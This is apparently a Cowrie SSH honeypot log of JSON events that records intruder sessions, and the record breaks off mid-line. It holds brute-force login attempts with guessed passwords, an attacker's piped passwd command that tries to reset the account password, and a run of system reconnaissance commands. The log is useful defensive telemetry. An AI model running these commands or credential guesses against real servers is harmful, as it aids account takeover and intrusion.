{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:35.738019Z","src_ip":"113.161.222.150","session":"96e1e6b8476e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:35.811197Z","src_ip":"68.207.224.247","session":"ccb0bc24076b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:35.890593Z","src_ip":"68.207.224.247","session":"ccb0bc24076b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"administrator\\ni8I8YYSEZmS1\\ni8I8YYSEZmS1\"|passwd|bash","message":"CMD: echo -e \"administrator\\ni8I8YYSEZmS1\\ni8I8YYSEZmS1\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:35.892577Z","src_ip":"68.207.224.247","session":"ccb0bc24076b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:35.895294Z","src_ip":"68.207.224.247","session":"ccb0bc24076b","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:35.898035Z","src_ip":"68.207.224.247","session":"ccb0bc24076b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afc0cce7c50ef85e91daedc1c055266bfd60c3e34364db8c05cb60badbf3ec64","size":32,"shasum":"afc0cce7c50ef85e91daedc1c055266bfd60c3e34364db8c05cb60badbf3ec64","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/afc0cce7c50ef85e91daedc1c055266bfd60c3e34364db8c05cb60badbf3ec64 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:35.982351Z","src_ip":"68.207.224.247","session":"ccb0bc24076b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:36.070360Z","src_ip":"68.207.224.247","session":"ccb0bc24076b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"administrator\\ni8I8YYSEZmS1\\ni8I8YYSEZmS1\\n\"|passwd","message":"CMD: echo \"administrator\\ni8I8YYSEZmS1\\ni8I8YYSEZmS1\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:36.073027Z","src_ip":"68.207.224.247","session":"ccb0bc24076b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ed9946a36dc999f51e515f3f1d6776d2b7674f87ec30c641c250b82a3761e775","size":25,"shasum":"ed9946a36dc999f51e515f3f1d6776d2b7674f87ec30c641c250b82a3761e775","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ed9946a36dc999f51e515f3f1d6776d2b7674f87ec30c641c250b82a3761e775 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:36.150968Z","src_ip":"68.207.224.247","session":"ccb0bc24076b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:36.236340Z","src_ip":"68.207.224.247","session":"ccb0bc24076b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:36.239423Z","src_ip":"68.207.224.247","session":"ccb0bc24076b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:36.330502Z","src_ip":"68.207.224.247","session":"ccb0bc24076b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:36.432096Z","src_ip":"68.207.224.247","session":"ccb0bc24076b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:36.434900Z","src_ip":"68.207.224.247","session":"ccb0bc24076b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:36.517655Z","src_ip":"68.207.224.247","session":"ccb0bc24076b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:36.611181Z","src_ip":"68.207.224.247","session":"ccb0bc24076b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:36.614975Z","src_ip":"68.207.224.247","session":"ccb0bc24076b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:36.617869Z","src_ip":"68.207.224.247","session":"ccb0bc24076b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":65,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:36.701802Z","src_ip":"68.207.224.247","session":"ccb0bc24076b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"phrozen87","message":"login attempt [root/phrozen87] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:36.715822Z","src_ip":"113.161.222.150","session":"96e1e6b8476e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:36.790261Z","src_ip":"68.207.224.247","session":"ccb0bc24076b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:36.793160Z","src_ip":"68.207.224.247","session":"ccb0bc24076b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:36.874593Z","src_ip":"68.207.224.247","session":"ccb0bc24076b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:36.970480Z","src_ip":"68.207.224.247","session":"ccb0bc24076b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:36.974514Z","src_ip":"68.207.224.247","session":"ccb0bc24076b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":205,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:37.057353Z","src_ip":"68.207.224.247","session":"ccb0bc24076b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:37.147844Z","src_ip":"68.207.224.247","session":"ccb0bc24076b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:37.150670Z","src_ip":"68.207.224.247","session":"ccb0bc24076b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:37.230470Z","src_ip":"68.207.224.247","session":"ccb0bc24076b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:37.313588Z","src_ip":"68.207.224.247","session":"ccb0bc24076b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:37.316008Z","src_ip":"68.207.224.247","session":"ccb0bc24076b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":43448,"dst_ip":"10.17.0.5","dst_port":22,"session":"a62c277dfabf","protocol":"ssh","message":"New connection: 91.92.40.4:43448 (10.17.0.5:22) [session: a62c277dfabf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:37.322230Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:37.329473Z","src_ip":"91.92.40.4","session":"a62c277dfabf","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:37.398618Z","src_ip":"68.207.224.247","session":"ccb0bc24076b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:37.413916Z","src_ip":"91.92.40.4","session":"a62c277dfabf","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:37.483634Z","src_ip":"68.207.224.247","session":"ccb0bc24076b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:37.487103Z","src_ip":"68.207.224.247","session":"ccb0bc24076b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:37.571603Z","src_ip":"68.207.224.247","session":"ccb0bc24076b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:37.659297Z","src_ip":"68.207.224.247","session":"ccb0bc24076b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:37.662021Z","src_ip":"68.207.224.247","session":"ccb0bc24076b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"passpass","message":"login attempt [git/passpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:37.670878Z","src_ip":"91.92.40.4","session":"a62c277dfabf","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:37.744617Z","src_ip":"68.207.224.247","session":"ccb0bc24076b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:37.852115Z","src_ip":"68.207.224.247","session":"ccb0bc24076b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:37.854265Z","src_ip":"68.207.224.247","session":"ccb0bc24076b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:37.937497Z","src_ip":"68.207.224.247","session":"ccb0bc24076b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:37.953191Z","src_ip":"113.161.222.150","session":"96e1e6b8476e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:38.023238Z","src_ip":"68.207.224.247","session":"ccb0bc24076b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:38.026634Z","src_ip":"68.207.224.247","session":"ccb0bc24076b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:38.108688Z","src_ip":"68.207.224.247","session":"ccb0bc24076b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:38.198353Z","src_ip":"68.207.224.247","session":"ccb0bc24076b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:38.201265Z","src_ip":"68.207.224.247","session":"ccb0bc24076b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:38.284296Z","src_ip":"68.207.224.247","session":"ccb0bc24076b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:38.369174Z","src_ip":"68.207.224.247","session":"ccb0bc24076b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:38.371860Z","src_ip":"68.207.224.247","session":"ccb0bc24076b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":66,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:38.417193Z","src_ip":"68.207.224.247","session":"ccb0bc24076b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:38.421463Z","src_ip":"68.207.224.247","session":"ccb0bc24076b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:38.756361Z","src_ip":"91.92.40.4","session":"a62c277dfabf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.199.16.90","src_port":41646,"dst_ip":"159.203.135.109","dst_port":22,"session":"f3821f6758c0","protocol":"ssh","message":"New connection: 103.199.16.90:41646 (159.203.135.109:22) [session: f3821f6758c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:39.292132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:39.295996Z","src_ip":"103.199.16.90","session":"f3821f6758c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-